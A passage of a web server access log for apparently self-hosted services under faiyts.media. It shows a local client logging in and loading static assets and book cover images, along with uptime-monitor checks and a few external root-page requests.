Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/css/upload.css HTTP/2.0" 200 168 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/js/libs/jquery.min.js HTTP/2.0" 200 89947 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/js/libs/bootstrap.min.js HTTP/2.0" 200 39681 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/js/libs/underscore-umd-min.js HTTP/2.0" 200 19530 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/js/libs/intention.min.js HTTP/2.0" 200 5865 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/js/libs/context.min.js HTTP/2.0" 200 1534 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/js/libs/plugins.js HTTP/2.0" 200 79984 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/js/libs/jquery.form.min.js HTTP/2.0" 200 17094 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/js/uploadprogress.js HTTP/2.0" 200 7401 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/js/main.js HTTP/2.0" 200 29593 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/css/fonts/GrandHotel-Regular.ttf HTTP/2.0" 200 44560 "https://read.faiyts.media/static/css/style.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:14 -0500] "GET /static/favicon.ico HTTP/2.0" 200 61662 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:16 -0500] "POST /login?next=%2F HTTP/2.0" 302 189 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:16 -0500] "GET / HTTP/2.0" 200 82912 "https://read.faiyts.media/login?next=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:16 -0500] "GET /static/css/libs/bootstrap.min.css HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:16 -0500] "GET /static/css/style.css HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:16 -0500] "GET /cover/31/md?c=1703131196 HTTP/2.0" 200 59566 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:16 -0500] "GET /static/css/upload.css HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:16 -0500] "GET /cover/168/md?c=1703131273 HTTP/2.0" 200 2183395 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:16 -0500] "GET /cover/468/md?c=1703131443 HTTP/2.0" 200 57043 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1673/md?c=1704509627 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/js/libs/jquery.min.js HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/js/libs/bootstrap.min.js HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/91/md?c=1703131224 HTTP/2.0" 200 673842 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/js/libs/underscore-umd-min.js HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/js/libs/intention.min.js HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/css/fonts/glyphicons-halflings-regular.woff2 HTTP/2.0" 200 18028 "https://read.faiyts.media/static/css/libs/bootstrap.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/js/libs/context.min.js HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/js/libs/plugins.js HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/js/libs/jquery.form.min.js HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/js/uploadprogress.js HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /static/js/main.js HTTP/2.0" 304 0 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1672/md?c=1704509127 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1671/md?c=1704509020 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1670/md?c=1704509020 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1669/md?c=1704509020 HTTP/2.0" 200 35682 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1668/md?c=1704509019 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1667/md?c=1704509018 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1666/md?c=1704509018 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1665/md?c=1704509018 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1664/md?c=1704509017 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1663/md?c=1704509017 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1662/md?c=1704509017 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1661/md?c=1704509016 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1660/md?c=1704509016 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1659/md?c=1704509016 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1657/md?c=1704509015 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1658/md?c=1704509015 HTTP/2.0" 200 508859 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1656/md?c=1704509015 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1655/md?c=1704509014 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1654/md?c=1704509014 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1653/md?c=1704509014 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1652/md?c=1704509013 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1651/md?c=1704509013 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1650/md?c=1704509013 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1649/md?c=1704509012 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1648/md?c=1704509012 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1647/md?c=1704509012 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1646/md?c=1704509011 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1645/md?c=1704509011 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1644/md?c=1704509011 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1643/md?c=1704509011 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1642/md?c=1704509010 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1641/md?c=1704509010 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1640/md?c=1704509010 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1639/md?c=1704509009 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1638/md?c=1704509009 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1636/md?c=1704509008 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1635/md?c=1704509008 HTTP/2.0" 200 88240 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1634/md?c=1704509007 HTTP/2.0" 200 113135 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1633/md?c=1704509007 HTTP/2.0" 200 59968 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1632/md?c=1704509007 HTTP/2.0" 200 94574 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1631/md?c=1704509006 HTTP/2.0" 200 67555 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1629/md?c=1704509003 HTTP/2.0" 200 63789 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1628/md?c=1704509002 HTTP/2.0" 200 117311 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1627/md?c=1704509002 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1626/md?c=1704509001 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1625/md?c=1704509001 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1630/md?c=1704509004 HTTP/2.0" 200 647362 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1637/md?c=1704509009 HTTP/2.0" 200 2102463 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1624/md?c=1704509001 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1623/md?c=1704509000 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1622/md?c=1704509000 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1621/md?c=1704509000 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1620/md?c=1704508999 HTTP/2.0" 200 19501 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1619/md?c=1704508999 HTTP/2.0" 200 146437 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1615/md?c=1704508998 HTTP/2.0" 200 312951 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1616/md?c=1704508998 HTTP/2.0" 200 408545 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1614/md?c=1704508997 HTTP/2.0" 200 357241 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1618/md?c=1704508999 HTTP/2.0" 200 293108 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:38:17 -0500] "GET /cover/1617/md?c=1704508998 HTTP/2.0" 200 385661 "https://read.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:38:21 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:38:21 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Uptime-Kuma/1.23.13" +104.164.173.155 - - [01/Jun/2024:13:38:27 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.155 - - [01/Jun/2024:13:38:27 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +72.179.167.199 - - [01/Jun/2024:13:38:29 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:38:29 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 10082 "-" "Uptime-Kuma/1.23.13" +104.164.173.155 - - [01/Jun/2024:13:38:34 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.248.122.209 - - [01/Jun/2024:13:38:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" +104.164.173.155 - - [01/Jun/2024:13:38:36 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +192.168.0.105 - - [01/Jun/2024:13:38:36 -0500] "GET /web/index.html HTTP/1.1" 200 13048 "-" "Uptime-Kuma/1.23.13" +173.173.43.116 - - [01/Jun/2024:13:38:39 